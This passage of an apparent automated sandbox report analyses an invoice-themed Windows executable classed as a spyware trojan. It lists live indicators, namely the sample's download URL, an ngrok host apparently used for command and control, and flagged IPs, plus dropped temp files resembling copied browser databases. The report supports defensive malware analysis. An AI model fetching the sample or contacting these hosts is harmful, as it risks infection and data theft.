https://duckduckgo.com/chrome_newtab	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	false		high
http://service.r	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	false		high
http://2.tcp.eu.ngrok.io:1	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/answer/6258784	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentme	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/t_	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flash	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/D	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_java	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.micros	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356922974.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356899124.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_real	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.orgcookies//settinString.Removeg	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_pdf	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdate	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/0	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://forms.real.com/real/realone/download.html?type=rpsp_us	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://support.a	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/ip%appdata%	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_quicktime	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.datacontract.org/2004/07/	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357012333.0000000002D47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://helpx.ad	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	false		high
http://tempuri.org/Endpoint/CheckConnect	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	false		high
http://2.tcp.eu.ngrok.io:17685	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356922974.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnviron	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://get.adob	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://2.tcp.eu.ngrok.io	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356922974.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357060904.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	false		high
http://service.real.com/realplayer/security/02062012_player/en/	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://forms.rea	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_T	wget.exe, 00000002.00000002.245363961.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://2.tcp.eu.ngrok.io:176854	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356922974.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp, tmp1980.tmp.6.dr, tmpCCE8.tmp.6.dr, tmp8D2A.tmp.6.dr, tmp215E.tmp.6.dr, tmp477B.tmp.6.dr, tmpF8DB.tmp.6.dr, tmpF1C1.tmp.6.dr, tmpAE5E.tmp.6.dr, tmp8BC2.tmp.6.dr, tmpD83E.tmp.6.dr, tmp77A1.tmp.6.dr, tmp45A0.tmp.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.156.13.209	2.tcp.eu.ngrok.io	United States	16509	AMAZON-02US	true
18.192.93.86	unknown	United States	16509	AMAZON-02US	true
47.105.225.69	www.sdrclm.cn	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	634959
Start date and time: 27/05/202206:57:30	2022-05-27 06:57:30 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	urldownload.jbs
Sample URL:	http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.win@8/29@6/4
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 0.2% (good quality ratio 0.2%) Quality average: 54.5% Quality standard deviation: 28.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 108 Number of non-executed functions: 2
Cookbook Comments:	Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.26.13.31, 172.67.75.172, 104.26.12.31
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:59:04	API Interceptor	84x Sleep call for process: P90GT_Invoice_Related_Property_Tax_P800.exe modified

Process:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2502
Entropy (8bit):	5.3347050065951125
Encrypted:	false
SSDEEP:	48:MOfHK5HKXAHKdHKBSTHaAHKzvRYHKhQnoPtHoxHImHKhBHKoHaHZHAHjHKmJHxLK:vq5qXAqdqslqzJYqhQnoPtIxHbqLqo65
MD5:	46C48E4995C355586BF3460052E05A4F
SHA1:	093AC60C56CCDF234279BDED25E3F10A31B32F12
SHA-256:	8E0E1F4DB2E66D0BB905B5ABD0D931F2864059FA2A0D100080B199CC19BF01A5
SHA-512:	32D456039658960A9F207F97AB912A2D5B356F9086D7853D48900115E6D2AE9C43078996B521E26E66EB97A68F7492D84AE75D34C3C6AEA4953AC4F3968B62C1
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Temp\tmp1980.tmp

Download File

Process:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp215E.tmp

Download File

Process:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2AB8.tmp

Download File

Process:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp37C1.tmp

Download File

Process:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp45A0.tmp

Download File

Process:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp477B.tmp

Download File

